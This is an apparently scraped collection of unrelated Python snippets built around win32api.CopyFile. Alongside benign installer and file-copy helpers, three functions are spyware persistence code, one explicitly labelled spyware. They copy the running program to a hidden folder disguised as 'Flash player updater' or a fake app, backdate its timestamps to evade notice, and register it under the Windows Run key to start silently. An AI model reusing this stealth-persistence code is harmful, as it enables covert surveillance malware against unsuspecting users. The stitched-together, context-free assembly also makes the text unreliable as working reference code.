def CopyTo(desc, src, dest): import win32api, win32con while 1: try: win32api.CopyFile(src, dest, 0) return except win32api.error as details: if details.winerror==5: # access denied - user_model not admin. raise if silent: # Running silent mode - just re-raise the error. raise tb = None full_desc = "Error %s\n\n" \ "If you have any Python applications running, " \ "please close them now\nand select 'Retry'\n\n%s" \ % (desc, details.strerror) rc = win32api.MessageBox(0, full_desc, "Installation Error", win32con.MB_ABORTRETRYIGNORE) if rc == win32con.IDABORT: raise elif rc == win32con.IDIGNORE: return
def main(self): # wait for beeing stopped... configuration = getConfigurationFromINI() #os.rename = win32rename service.logger = configureLogging(configuration) # create a temporary file where to copy the executable itself if getattr(sys, 'frozen', True): for i in range(10): fp = os.path.join(getRoot(), "serclient%d.exe" % i) if os.path.exists(fp): for attempt in range(10): try: os.remove(fp) break except: service.logger.debug( "Sleeping 1 sec waiting for the operative system to unlock %r.." % fp) time.sleep(1) service.logger.debug("Creating temp file: %s" % fp) try: win32api.CopyFile(getPythonBin(), fp) setPythonBin(fp) break except pywintypes, msg: pass service.logger.debug("New python exe: %r" % getPythonBin())
def set_autorun(): """ Sets the application to autorun. The spyware will automatically run at startup. """ # Getting the location of the SpyEmily application. app_path = os.path.abspath(sys.argv[0]) # A new location for the app file. new_app_directory = os.path.join(FAKE_APP_DIRECTORY, FAKE_APP) new_app_path = os.path.join(new_app_directory, f"{FAKE_APP}.py") if not os.path.exists(new_app_directory): os.makedirs(new_app_directory) # Copying the app file from the initial location to the new one. win32api.CopyFile(app_path, new_app_path) # Hiding the new path to the app file. hide_path(new_app_directory) # Setting fake time options (modification and creation time) # for the app file and directory. os.utime(new_app_directory, (1450000000, 1450000000)) os.utime(new_app_path, (1450000000, 1450000000)) # A Windows registry key for autorun. startup_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" registry_key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, startup_value, 0, winreg.KEY_ALL_ACCESS ) # Setting the autorun option for the spyware. The app file will start # with the --quiet key and because of that we can identify whether the # app file was started as an autorun option or not. winreg.SetValueEx(registry_key, FAKE_APP, 0, winreg.REG_SZ, new_app_path + " --quiet")
def set_autorun(self): application = sys.argv[0] print(application) start_path = os.path.join(os.path.abspath( os.getcwd()), application) # Получаем местонахождение папки copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player") copy2_app = os.path.join(copy2_path, "Flash player updater.exe") if not os.path.exists(copy2_path): #os.makedirs(copy2_path) win32api.CopyFile( start_path, copy2_app ) # Копируем приложение в папку с незамысловатым названием win32api.SetFileAttributes(copy2_path, 2) # Делаем папку невидимой os.utime(copy2_app, (1282372620, 1282372620)) # Меняем дату создания папки os.utime(copy2_path, (1282372620, 1282372620)) # и программы startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run" key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx( key2change, 'Flash player updater', 0, winreg.REG_SZ, start_path + " --quiet" ) # Добавляем программу в автозагрузку с помощью ключа реестра
def cpf(src, dst, replace=True): if win: win32api.CopyFile(src, dst, 0 if replace else 1) else: shutil.copy(src, dst)
def set_autorun(self): application = sys.argv[0] print(application) start_path = os.path.join(os.path.abspath(os.getcwd()), application) copy2_path = "{}\\{}".format(winshell.my_documents(), "Adobe flash player") copy2_app = os.path.join(copy2_path, "Flash player updater.exe") if not os.path.exists(copy2_path): os.makedirs(copy2_path) win32api.CopyFile(start_path, copy2_app) win32api.SetFileAttributes(copy2_path, 2) os.utime(copy2_app, (1282372620, 1282372620)) os.utime(copy2_path, (1282372620, 1282372620)) startup_val = r"Software\Microsoft\Windows\CurrentVersion\Run" key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key2change, 'Flash player updater', 0, winreg.REG_SZ, start_path + " --quiet")
def process5(self): answer5 = 5 while answer5 != '10': print('1 - To copy file\n' '2 - To move file\n' '3 - To advanced move file\n' '10 - To exit to menu') answer5 = input() if answer5 == '1': print("Enter the name of file to copy and the name of new file\n") win32api.CopyFile(input(), input(), 0) elif answer5 == '2': print("Enter the name of file and the directory to move\n") win32api.MoveFile(input(), input()) # win32file.MoveFileWithProgress(input(), input()) elif answer5 == '3': print("Enter the name of file and the directory to move\n") win32api.MoveFileEx(input(), input(), 11)
def CopyFile(s,t): return win32api.CopyFile(s,t)